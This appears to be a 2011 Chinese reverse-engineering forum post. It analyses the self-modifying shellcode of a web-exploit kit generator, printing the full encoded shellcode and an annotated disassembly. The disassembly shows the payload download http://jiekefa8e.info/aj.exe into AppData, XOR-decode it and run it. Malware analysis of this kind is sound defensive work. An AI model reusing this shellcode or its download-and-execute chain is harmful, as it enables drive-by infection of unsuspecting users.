标 题: 【原创】Dadong's JSXX 0.39 VIP所用shellcode调试
作 者: promised(ID注册时打错了,不知道能不能改名) 
时 间: 2011-04-09, 23:03:26
链 接: http://bbs.pediy.com/showthread.php?t=132109

Dadong's JSXX 0.39 VIP是IE极风漏洞网马的一种生成器。
其所用shellcode多次自修改,并修改shellcode所下载的exe文件,使shellcode的静态分析变得困难。
由于这个shellcode用libemu模拟失败,于是只好自己分析了。本人非常菜,如有错误还请各位指正。
shellcode如下,将其嵌入exe调试
%u9090%u9090%uC233%uD8E8%u0003%u9A00%u3037%u8DA0%u1925%u4B39%uB944%u58DA%uE5E2%u8E7B%uA401%u0AC7%u2664%u27D9%u8DAA%u68BF%uF979%uC1D1%u1AE3%uCF08%u54ED%u456B%u54B7%u3E20%uBF50%u2F8A%u1CA8%uECAD%u81B9%u887F%u3982%u50DA%uB081%uE527%u7B56%u0AB4%uF357%uB8BE%u370F%uF254%u6BAE%uB37D%u8D6D%u0C40%u8773%uC4FA%u26F8%uF87D%uAE4E%u56D0%u661F%u606C%u801D%u6738%u26A6%u31C9%uAFE5%uF62C%uED8B%uDA50%u6541%u1C67%uA81D%u7633%uE19F%u3FA5%u07B3%u88F9%u0961%uBCA2%uA8CA%u7476%u23B9%uD289%uEF0E%uEE89%u0A0F%uF9F9%u5151%uC181%u90A4%u10CC%u7F8A%uBB74%uB458%uBC46%uF1B1%u9E94%uFB06%uD21F%uF8C0%u0430%uD0D5%uB8DD%uBA41%uF250%uFFAB%uCDA3%u264A%u5899%u8281%u3E9E%uF7E7%uFA8D%u16CF%u0228%uF532%uF0AF%u7EC3%uA699%u330C%u62CB%u9314%uFC1E%u23D7%uD33F%u9C90%u758A%uEA67%u86D0%u0EB8%u23D8%u17C0%uDB2B%u9BED%u897B%u4311%u284A%uE23F%u1D96%u01E4%u40E7%uCA8D%u1D34%u2EE9%uB241%u048B%u4B56%u6D09%u1CE0%u475C%uCEA6%u0E89%uAC48%u0AE0%uFF56%u60C7%u500A%uC031%u01D9%uA36A%uC1D2%u2E7F%uF3B8%uDDBC%uA477%uA397%u566C%u4FA5%u4443%u766E%uBFC9%u10F0%u78BB%u315C%u0FD1%u94BD%u1AF9%u84FF%u6F49%u5A99%uC4EC%u18BA%u6A09%u93FB%uBABB%uF41B%u29CD%u57B1%u205A%uF1EE%uA1E3%u9197%u8EF4%u70D6%u43AE%uD000%u329C%uE373%u7F99%u9900%u6230%uEDE1%uFD81%uC18E%u3C9F%uD0E5%u0D56%u700D%u5605%u38F5%u1473%uA945%uCA6D%u57EC%u29AB%u5D79%u816D%uD954%u0CBC%uCB8F%uF0A0%u257F%u2E9F%u07E6%u0A16%u6FAD%u0FB7%u45F8%uC0C9%u524D%u35D3%uD8C4%u712B%uD364%u373B%u1073%u489B%u729B%u9D4A%uADA7%u7935%u54CF%uC53E%uD412%u6D94%u9F6C%u443F%u7E15%uB227%uAFA1%u8F01%uCB83%u2429%u4FFE%u331A%u12B2%u2EC4%u5A67%uA5B9%u5130%u90A2%u9435%uC452%u1743%uFD5D%uBC77%uC888%u8DC7%uAEB7%uF94E%u9D04%uF007%u8D6C%u007E%u58FC%uE225%u047E%u0D6B%u18F1%u7DDD%uD298%u5C54%uCFF8%uDBEF%u9BB3%u5BDB%u2900%uA940%u01DF%uA01A%uB38C%u2BA3%u8CB6%u8BE9%u1944%u7BCE%uD695%u079F%u87EB%u372C%uB836%u86ED%u6DEA%uE69A%uAD51%uC5BC%uDF66%u26AE%uF8C2%u8C87%u0604%u0038%uAB9A%u05AA%u2725%uF832%u2B3A%u3B7C%uC4F1%u6620%u89B3%uAF49%u1E21%u2781%u73A8%u41C8%u3DD7%u9F9E%uBAC9%u440C%uF7BF%uDC9F%uF434%u4DA8%uFAD5%uF569%uFCD3%u4CC7%u0AFE%u17CC%u5CEA%uB621%u9A39%u4A23%u41A8%u3910%u08DF%u944B%u58FE%u739A%u65F7%u3064%u763E%u9FAE%uD311%u5822%uE112%uB801%uBF3B%u1AF0%u8D7F%uA539%u4D3B%uD0EA%uEDCA%u6894%u6F72%uF844%u1142%uFD94%u9088%u5212%uC41F%u1AC0%u1ED0%u82BD%u2278%u7806%u294F%uC172%uFF9C%uA582%uBEBA%u92D7%uAE52%uA058%uA31B%u54D9%u12D0%u0AA7%uF6B2%u4253%u01AD%u4B04%u824E%u773E%u8660%u5C53%u0B91%u485A%u1597%uAA0B%u824F%uD5E6%u39D5%u037F%u0F2E%u8165%u1EA6%uDB2B%u188B%u2FCB%u3BD3%u6F00%uF0FC%u6979%uE0B9%u9463%u15A0%u7AE6%uAF06%uCD44%u049F%uB448%u9164%uB82D%u1E61%u1A55%u84D3%uB240%uDFEC%uD986%u0490%u0F70%uD322%u5241%u38FA%uC271%uDE9E%u1226%uB309%u4767%uAFEB%u97E5%uC525%u8093%uF1CB%uC556%u3CB7%u113F%uD0F9%uC88A%uED85%uC6E2%u2452%uD349%u04B6%uF971%uA972%u3A89%u387D%uDA77%u0302%uF95C%uAB9D%uBB16%u024A%u799A%u637C%u9D11%u78F1%u312B%u80C4%u87D5%u692C%u445D%u2304%uDF8D%u51A6%u6935%uF124%u9241%uF600%u3E7C%u25DF%u5F05%u10A6%uF384%u1DB4%u1EF2%u8205%uB2C0%u987A%uB761%u4D45%u160F%u0695%uF134%u3BE4%u50DD%uEC34%u648A%u3350%uFCC4%uE860%u0006%u0000%u648B%u0824%u0CEB%uDB33%uFF64%u6433%u2389%u03FF%uE8EB%uC733%u2BD6%u64C9%u018F%uE859%u0000%u0000%uC203%u2C8B%u5824%uED81%u3860%u0015%uC70B%u68D6%uD352%u30B5%u815F%u0DF7%uA0E7%uC130%u39C8%uFD03%uDB68%uA0EA%u5B30%uF381%uEA2D%u30A0%uC21B%u0ABA%uA0A7%u3330%u40C0%u1731%u4893%uC193%uD7F8%u09E8%u0000%u8B00%uE9C0%u0009%u0000%uC50B%u2BF8%uC3C5%uD8C1%uF9BF%u4747%u4747%uE898%u0008%u0000%u07E9%u0000%u9000%uC28B%u73F9%uC36F%u33F9%u81C7%uCBC2%uA0D6%u0330%u51C2%uCB8B%u03E3%uEB59%u59B9%uC233%uC361
模块入口点:
00405030                  90                   NOP
00405031                  90                   NOP
00405032                  90                   NOP
00405033                  90                   NOP
00405034                  33C2                 XOR EAX,EDX
00405036                  E8 D8030000          CALL 00405413
0040503B                  9A 3730A08D 2519     CALL FAR 1925:8DA03037             ;这里开始代码就不正常了,先忽略                           
调用00405413:
00405413                  33C4                 XOR EAX,ESP
00405415                  FC                   CLD
00405416                  60                   PUSHAD
00405417                  E8 06000000          CALL 00405422                      ;返回地址0040541C入栈
调用00405422:
00405422                  33DB                 XOR EBX,EBX                        ;EBX清零
00405424                  64:FF33              PUSH DWORD PTR FS:[EBX]            ;指向下一个SEH记录的指针
00405427                  64:8923              MOV DWORD PTR FS:[EBX],ESP    
0040542A                  FF03                 INC DWORD PTR DS:[EBX]             ;EBX=0,产生异常,异常处理函数即为0040541C
异常处理程序如何被调用:
具体参考
http://bbs.pediy.com/showthread.php?t=65783
http://www.microsoft.com/msj/0197/exception/exception.aspx
int ExecuteHandler( PEXCEPTION_RECORD pExcptRec,
                    PEXCEPTION_REGISTRATION pExcptReg,
                    CONTEXT *pContext,
                    PVOID pDispatcherContext,
                    FARPROC handler )
{
77F8EB4A                  55                   PUSH EBP
77F8EB4B                  8BEC                 MOV EBP,ESP
77F8EB4D                  FF75 0C              PUSH DWORD PTR SS:[EBP+C]          ;pExcptReg
77F8EB50                  52                   PUSH EDX
77F8EB51                  64:FF35 00000000     PUSH DWORD PTR FS:[0]
77F8EB58                  64:8925 00000000     MOV DWORD PTR FS:[0],ESP
77F8EB5F                  FF75 14              PUSH DWORD PTR SS:[EBP+14]         ;pDispatcherContext
77F8EB62                  FF75 10              PUSH DWORD PTR SS:[EBP+10]         ;pContext
77F8EB65                  FF75 0C              PUSH DWORD PTR SS:[EBP+C]          ;pExcptReg
77F8EB68                  FF75 08              PUSH DWORD PTR SS:[EBP+8]          ;pExcptRec
77F8EB6B                  8B4D 18              MOV ECX,DWORD PTR SS:[EBP+18]      ;ECX=异常处理函数handler
77F8EB6E                  FFD1                 CALL ECX                           ;调用异常处理函数
77F8EB70                  64:8B25 00000000     MOV ESP,DWORD PTR FS:[0]
77F8EB77                  64:8F05 00000000     POP DWORD PTR FS:[0]                    
77F8EB7E                  8BE5                 MOV ESP,EBP
77F8EB80                  5D                   POP EBP                                  
77F8EB81                  C2 1400              RETN 14
}
异常处理函数0040541C:
0040541C                  8B6424 08            MOV ESP,DWORD PTR SS:[ESP+8]       ;pExcptReg,这个pExcptReg是0040542A处异常的EXCEPTION_REGISTRATION链表的头,即pExcptReg=0040542A处的ESP,这里ESP退到了0040542A处的ESP
00405420                  EB 0C                JMP SHORT 0040542E
跳转到0040542E:
0040542E                  33C7                 XOR EAX,EDI
00405430                  D6                   SALC
00405431                  2BC9                 SUB ECX,ECX
00405433                  64:8F01              POP DWORD PTR FS:[ECX]
00405436                  59                   POP ECX
00405437                  E8 00000000          CALL 0040543C                      ;返回地址0040543C入栈
调用0040543C:
0040543C                  03C2                 ADD EAX,EDX
0040543E                  8B2C24               MOV EBP,DWORD PTR SS:[ESP]         ;EBP=0040543C
00405441                  58                   POP EAX
00405442                  81ED 60381500        SUB EBP,153860                     ;EBP=0040543C-153860=002B1BDC
00405448                  0BC7                 OR EAX,EDI
0040544A                  D6                   SALC
0040544B                  68 52D3B530          PUSH 30B5D352
00405450                  5F                   POP EDI                            ;EDI=30B5D352
00405451                  81F7 0DE7A030        XOR EDI,30A0E70D                   ;EDI=30B5D352^30A0E70D=0015345F
00405457                  C1C8 39              ROR EAX,39
0040545A                  03FD                 ADD EDI,EBP                        ;EDI=0015345F+002B1BDC=0040503B,即为最初看到的不正常代码的地址
0040545C                  68 DBEAA030          PUSH 30A0EADB
00405461                  5B                   POP EBX                            ;EBX=30A0EADB
00405462                  81F3 2DEAA030        XOR EBX,30A0EA2D                   ;EBX=30A0EADB^30A0EA2D=000000F6,循环次数初始值
00405468                  1BC2                 SBB EAX,EDX
0040546A                  BA 0AA7A030          MOV EDX,30A0A70A                   ;EDX=30A0A70A,XOR密钥初始值
0040546F                  33C0                 XOR EAX,EAX
00405471                  40                   INC EAX
自修改1:
00405472                  3117                 XOR DWORD PTR DS:[EDI],EDX         ;初次执行时修改0040503B处不正常的代码,A030379A^30A0A70A=90909090,即填充为NOP,并开始循环
00405474                  93                   XCHG EAX,EBX
00405475                  48                   DEC EAX
00405476                  93                   XCHG EAX,EBX                       ;EBX=EBX-1,循环次数递减
00405477                  C1F8 D7              SAR EAX,0D7
0040547A                  E8 09000000          CALL 00405488
调用00405488:
00405488                  F8                   CLC
00405489                  2BC5                 SUB EAX,EBP
0040548B                  C3                   RETN
返回到0040547F:
0040547F                  8BC0                 MOV EAX,EAX
00405481                  E9 09000000          JMP 0040548F
跳转到0040548F:
0040548F                  F9                   STC
00405490                  47                   INC EDI
00405491                  47                   INC EDI
00405492                  47                   INC EDI
00405493                  47                   INC EDI                            ;EDI=EDI+4,需要修改的下一段代码的地址
00405494                  98                   CWDE
00405495                  E8 08000000          CALL 004054A2
调用004054A2:
004054A2                  F9                   STC
004054A3                  73 6F                JNB SHORT 00405514                 ;跳转不会实现
004054A5                  C3                   RETN
返回到0040549A:
0040549A                 /E9 07000000          JMP 004054A6
跳转到004054A6:
004054A6                  F9                   STC
004054A7                  33C7                 XOR EAX,EDI
004054A9                  81C2 CBD6A030        ADD EDX,30A0D6CB                   ;EDX=EDX+30A0D6CB,XOR密钥变换
004054AF                  03C2                 ADD EAX,EDX
004054B1                  51                   PUSH ECX
004054B2                  8BCB                 MOV ECX,EBX                        ;ECX=循环次数EBX
004054B4                  E3 03                JECXZ SHORT 004054B9               ;ECX等于0则跳转到004054B9,即结束循环
004054B6                  59                   POP ECX
004054B7                ^ EB B9                JMP SHORT 00405472                 ;跳转到自修改1,不记初次修改共循环F5次
004054B9                  59                   POP ECX
004054BA                  33C2                 XOR EAX,EDX
004054BC                  61                   POPAD
004054BD                  C3                   RETN
循环结束,部分不正常的代码被恢复,经过精心地栈操作终于返回到了0040503B:
0040503B                  90                  NOP
0040503C                  90                  NOP
0040503D                  90                  NOP
0040503E                  90                  NOP
0040503F                  58                  POP EAX
00405040                  58                  POP EAX
00405041                  58                  POP EAX
00405042                  58                  POP EAX
00405043                  EB 10               JMP SHORT 00405055
跳转到00405055:
00405055                  E8 EBFFFFFF         CALL 00405045                       ;返回地址0040505A入栈
调用00405045:
00405045                  5B                  POP EBX                             ;EBX=0040505A
00405046                  4B                  DEC EBX
00405047                  33C9                XOR ECX,ECX
00405049                  66:B9 B803          MOV CX,3B8                          ;ECX=3B8,循环次数
自修改2:
0040504D                  80340B BD           XOR BYTE PTR DS:[EBX+ECX],0BD       ;XOR密钥固定为BD
00405051                ^ E2 FA               LOOPD SHORT 0040504D
00405053                  EB 05               JMP SHORT 0040505A
循环结束,所有不正常的代码被恢复,跳转到0040505A:
0040505A                 /E9 1E030000         JMP 0040537D
跳转到0040537D:
0040537D                  E8 DDFCFFFF         CALL 0040505F
调用0040505F:
0040505F                  5F                  POP EDI                             ;定位自身地址,以后查找到的函数的地址将依次保存到以该地址为起始的一段内存中
00405060                  64:A1 30000000      MOV EAX,DWORD PTR FS:[30]           ;PEB
00405066                  8B40 0C             MOV EAX,DWORD PTR DS:[EAX+C]
00405069                  8B70 1C             MOV ESI,DWORD PTR DS:[EAX+1C]
0040506C                  AD                  LODS DWORD PTR DS:[ESI]
0040506D                  8B68 08             MOV EBP,DWORD PTR DS:[EAX+8]        ;EBP=kernel32.dll模块基地址
00405070                  8BF7                MOV ESI,EDI
00405072                  6A 11               PUSH 11
00405074                  59                  POP ECX                             ;所要查找的函数个数ECX=11
00405075                  E8 BE020000         CALL 00405338                       ;遍历kernel32.dll的导出表,查找函数GetModuleHandleA,GetTempPathA,CreateProcessInternalA,LoadLibraryA,GetProcAddress,ExitProcess,GetCurrentThreadId,Sleep,VirtualProtect,CreateFileA,GetFileSize,CreateFileMappingA,WriteFile,CloseHandle,SetFilePointer,MapViewOfFile,UnmapViewOfFile,并将地址依次保存,EDI+=4*11
0040507A                  90                  NOP
0040507B                ^ E2 F8               LOOPD SHORT 00405075
0040507D                  68 33320000         PUSH 3233
00405082                  68 55736572         PUSH 72657355
00405087                  54                  PUSH ESP                            ;"User32"
00405088                  8B46 0C             MOV EAX,DWORD PTR DS:[ESI+C]
0040508B                  E8 BE010000         CALL 0040524E                       ;LoadLibraryA("User32")
00405090                  8BE8                MOV EBP,EAX                         ;EBP=User32.dll模块基地址
00405092                  6A 05               PUSH 5
00405094                  59                  POP ECX                             ;所要查找的函数个数ECX=5
00405095                  E8 9E020000         CALL 00405338                       ;遍历User32.dll的导出表,查找函数EnumWindows,GetClassNameA,GetWindowThreadProcessId,DestroyWindow,MessageBeep,并将地址依次保存,EDI+=4*5
0040509A                ^ E2 F9               LOOPD SHORT 00405095
0040509C                  68 6F6E0000         PUSH 6E6F
004050A1                  68 75726C6D         PUSH 6D6C7275
004050A6                  54                  PUSH ESP                            ;"urlmon"
004050A7                  FF16                CALL DWORD PTR DS:[ESI]             ;GetModuleHandleA("urlmon")
004050A9                  85C0                TEST EAX,EAX
004050AB                  75 13               JNZ SHORT 004050C0                  ;判断urlmon.dll模块是否已载入,已载入则跳转
004050AD                  68 6F6E0000         PUSH 6E6F
004050B2                  68 75726C6D         PUSH 6D6C7275
004050B7                  54                  PUSH ESP                            ;"urlmon"
004050B8                  8B46 0C             MOV EAX,DWORD PTR DS:[ESI+C]
004050BB                  E8 8E010000         CALL 0040524E                       ;LoadLibraryA("urlmon")
004050C0                  8BE8                MOV EBP,EAX                         ;EBP=urlmon.dll模块基地址
004050C2                  6A 01               PUSH 1
004050C4                  59                  POP ECX                             ;所要查找的函数个数ECX=1
004050C5                  E8 6E020000         CALL 00405338                       ;遍历User32.dll的导出表,查找函数URLDownloadToFileA,并将地址保存,EDI+=4
004050CA                ^ E2 F9               LOOPD SHORT 004050C5
004050CC                  68 6C333200         PUSH 32336C
004050D1                  68 7368656C         PUSH 6C656873
004050D6                  54                  PUSH ESP                            ;"shell32"
004050D7                  8B46 0C             MOV EAX,DWORD PTR DS:[ESI+C]
004050DA                  E8 6F010000         CALL 0040524E                       ;LoadLibraryA("shell32")
004050DF                  8BE8                MOV EBP,EAX                         ;EBP=shell32.dll模块基地址
004050E1                  6A 01               PUSH 1
004050E3                  59                  POP ECX                             ;所要查找的函数个数ECX=1
004050E4                  E8 4F020000         CALL 00405338                       ;遍历shell32.dll的导出表,查找函数SHGetSpecialFolderPathA,并将地址保存,EDI+=4
004050E9                ^ E2 F9               LOOPD SHORT 004050E4
004050EB                  81EC 00010000       SUB ESP,100
004050F1                  8BDC                MOV EBX,ESP
004050F3                  81C3 80000000       ADD EBX,80
004050F9                  6A 00               PUSH 0
004050FB                  6A 1A               PUSH 1A
004050FD                  53                  PUSH EBX
004050FE                  6A 00               PUSH 0
00405100                  FF56 5C             CALL DWORD PTR DS:[ESI+5C]          ;SHGetSpecialFolderPathA(0, EBX, CSIDL_APPDATA, 0),获得Application Data路径
00405103                  33C0                XOR EAX,EAX
00405105                  40                  INC EAX
00405106                  803C03 00           CMP BYTE PTR DS:[EBX+EAX],0
0040510A                ^ 75 F9               JNZ SHORT 00405105                  ;遍历Application Data路径字符串到结束符
0040510C                  C70403 5C612E65     MOV DWORD PTR DS:[EBX+EAX],652E615C
00405113                  C74403 04 78650000  MOV DWORD PTR DS:[EBX+EAX+4],6578   ;"a.exe"连接到Application Data路径字符串
0040511B                  33C9                XOR ECX,ECX
0040511D                  51                  PUSH ECX
0040511E                  51                  PUSH ECX
0040511F                  53                  PUSH EBX
00405120                  57                  PUSH EDI
00405121                  51                  PUSH ECX
00405122                  33C0                XOR EAX,EAX
00405124                  8B46 58             MOV EAX,DWORD PTR DS:[ESI+58]
00405127                  E8 22010000         CALL 0040524E                       ;URLDownloadToFileA(0, "http://jiekefa8e.info/aj.exe", Application Data目录下的a.exe, 0, 0)
0040512C                  83F8 00             CMP EAX,0
0040512F                  0F85 D5000000       JNZ 0040520A                        ;判断是否下载成功,失败则跳转0040520A
00405135                  6A 00               PUSH 0
00405137                  6A 00               PUSH 0
00405139                  6A 03               PUSH 3
0040513B                  6A 00               PUSH 0
0040513D                  6A 02               PUSH 2
0040513F                  68 000000C0         PUSH C0000000
00405144                  53                  PUSH EBX
00405145                  8B46 24             MOV EAX,DWORD PTR DS:[ESI+24]
00405148                  E8 01010000         CALL 0040524E                       ;hFile=EAX=CreateFileA(Application Data目录下的a.exe, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)
0040514D                  8946 60             MOV DWORD PTR DS:[ESI+60],EAX       ;存hFile
00405150                  6A 00               PUSH 0
00405152                  50                  PUSH EAX
00405153                  FF56 28             CALL DWORD PTR DS:[ESI+28]          ;dwFileSize=EAX=GetFileSize(hFile, 0)
00405156                  8946 64             MOV DWORD PTR DS:[ESI+64],EAX       ;存dwFileSize
00405159                  8B46 60             MOV EAX,DWORD PTR DS:[ESI+60]
0040515C                  6A 00               PUSH 0
0040515E                  6A 00               PUSH 0
00405160                  6A 00               PUSH 0
00405162                  6A 04               PUSH 4
00405164                  6A 00               PUSH 0
00405166                  50                  PUSH EAX
00405167                  FF56 2C             CALL DWORD PTR DS:[ESI+2C]          ;hFileMapping=EAX=CreateFileMappingA(hFile, 0, PAGE_READWRITE, 0, 0, 0)
0040516A                  6A 00               PUSH 0
0040516C                  6A 00               PUSH 0
0040516E                  6A 00               PUSH 0
00405170                  68 1F000F00         PUSH 0F001F
00405175                  50                  PUSH EAX
00405176                  FF56 3C             CALL DWORD PTR DS:[ESI+3C]          ;pbFile=EAX=MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0)
00405179                  8946 78             MOV DWORD PTR DS:[ESI+78],EAX       ;存pbFile
0040517C                  8B4E 64             MOV ECX,DWORD PTR DS:[ESI+64]
0040517F                  807C08 FF A2        CMP BYTE PTR DS:[EAX+ECX-1],0A2
00405184                  74 0C               JE SHORT 00405192
00405186                  807C08 FF 00        CMP BYTE PTR DS:[EAX+ECX-1],0
0040518B                  74 05               JE SHORT 00405192
0040518D                  807408 FF A2        XOR BYTE PTR DS:[EAX+ECX-1],0A2
00405192                ^ E2 EB               LOOPD SHORT 0040517F                ;修改所下载的文件,for(ECX=dwFileSize; ECX; ECX--) if (pbFile[ECX-1] != 0xA2 && pbFile[ECX-1] != 0) pbFile[ECX-1]^=0xA2
00405194                  8986 80000000       MOV DWORD PTR DS:[ESI+80],EAX
0040519A                  C746 70 00000000    MOV DWORD PTR DS:[ESI+70],0
004051A1                  C746 74 00000000    MOV DWORD PTR DS:[ESI+74],0
004051A8                  6A 00               PUSH 0
004051AA                  6A 00               PUSH 0
004051AC                  6A 00               PUSH 0
004051AE                  8B46 60             MOV EAX,DWORD PTR DS:[ESI+60]
004051B1                  50                  PUSH EAX
004051B2                  FF56 38             CALL DWORD PTR DS:[ESI+38]          ;作者似乎对内存映射文件理解有误,这里没有必要调用SetFilePointer
004051B5                  8B86 80000000       MOV EAX,DWORD PTR DS:[ESI+80]
004051BB                  6A 00               PUSH 0
004051BD                  8D4E 74             LEA ECX,DWORD PTR DS:[ESI+74]
004051C0                  51                  PUSH ECX
004051C1                  FF76 70             PUSH DWORD PTR DS:[ESI+70]
004051C4                  50                  PUSH EAX
004051C5                  FF76 60             PUSH DWORD PTR DS:[ESI+60]
004051C8                  FF56 30             CALL DWORD PTR DS:[ESI+30]          ;作者似乎对内存映射文件理解有误,这里没有必要调用WriteFile
004051CB                  FF76 60             PUSH DWORD PTR DS:[ESI+60]
004051CE                  FF56 34             CALL DWORD PTR DS:[ESI+34]          ;CloseHandle(hFile)
004051D1                  FF76 78             PUSH DWORD PTR DS:[ESI+78]
004051D4                  FF56 40             CALL DWORD PTR DS:[ESI+40]          ;UnmapViewOfFile(pbFile)
004051D7                  8BFB                MOV EDI,EBX
004051D9                  33C0                XOR EAX,EAX
004051DB                  33DB                XOR EBX,EBX
004051DD                  81EC 00020000       SUB ESP,200
004051E3                  8BCC                MOV ECX,ESP
004051E5                  83F8 54             CMP EAX,54
004051E8                  7D 08               JGE SHORT 004051F2
004051EA                  891C01              MOV DWORD PTR DS:[ECX+EAX],EBX      ;StartupInfo、ProcessInformation清0
004051ED                  83C0 04             ADD EAX,4
004051F0                ^ EB F3               JMP SHORT 004051E5
004051F2                  8BCC                MOV ECX,ESP
004051F4                  8BD9                MOV EBX,ECX
004051F6                  83C3 10             ADD EBX,10
004051F9                  33C0                XOR EAX,EAX
004051FB                  50                  PUSH EAX
004051FC                  51                  PUSH ECX
004051FD                  53                  PUSH EBX
004051FE                  50                  PUSH EAX
004051FF                  50                  PUSH EAX
00405200                  50                  PUSH EAX
00405201                  50                  PUSH EAX
00405202                  50                  PUSH EAX
00405203                  50                  PUSH EAX
00405204                  57                  PUSH EDI
00405205                  50                  PUSH EAX
00405206                  50                  PUSH EAX
00405207                  FF56 08             CALL DWORD PTR DS:[ESI+8]           ;CreateProcessInternalA(0, 0, Application Data目录下的a.exe, 0, 0, 0, 0, 0, 0, lpStartupInfo, lpProcessInformation, 0)
0040520A:
到这里这个shellcode的调试就基本结束了

  • 标 题:答复
  • 作 者:promsied
  • 时 间:2011-04-10 21:02:20

附:
ESI=00405382            GetModuleHandleA
+04=00405386            GetTempPathA
+08=0040538A            CreateProcessInternalA
+0C=0040538E            LoadLibraryA
+10=00405392            GetProcAddress
+14=00405396            ExitProcess
+18=0040539A            GetCurrentThreadId
+1C=0040539E            Sleep
+20=004053A2            VirtualProtect
+24=004053A6            CreateFileA
+28=004053AA            GetFileSize
+2C=004053AE            CreateFileMappingA
+30=004053B2            WriteFile
+34=004053B6            CloseHandle
+38=004053BA            SetFilePointer
+3C=004053BE            MapViewOfFile
+40=004053C2            UnmapViewOfFile
+44=004053C6            EnumWindows
+48=004053CA            GetClassNameA
+4C=004053CE            GetWindowThreadProcessId
+50=004053D2            DestroyWindow
+54=004053D6            MessageBeep
+58=004053DA            URLDownloadToFileA
+5C=004053DE            SHGetSpecialFolderPathA
+60=004053E2            "http://jiekefa8e.info/aj.exe"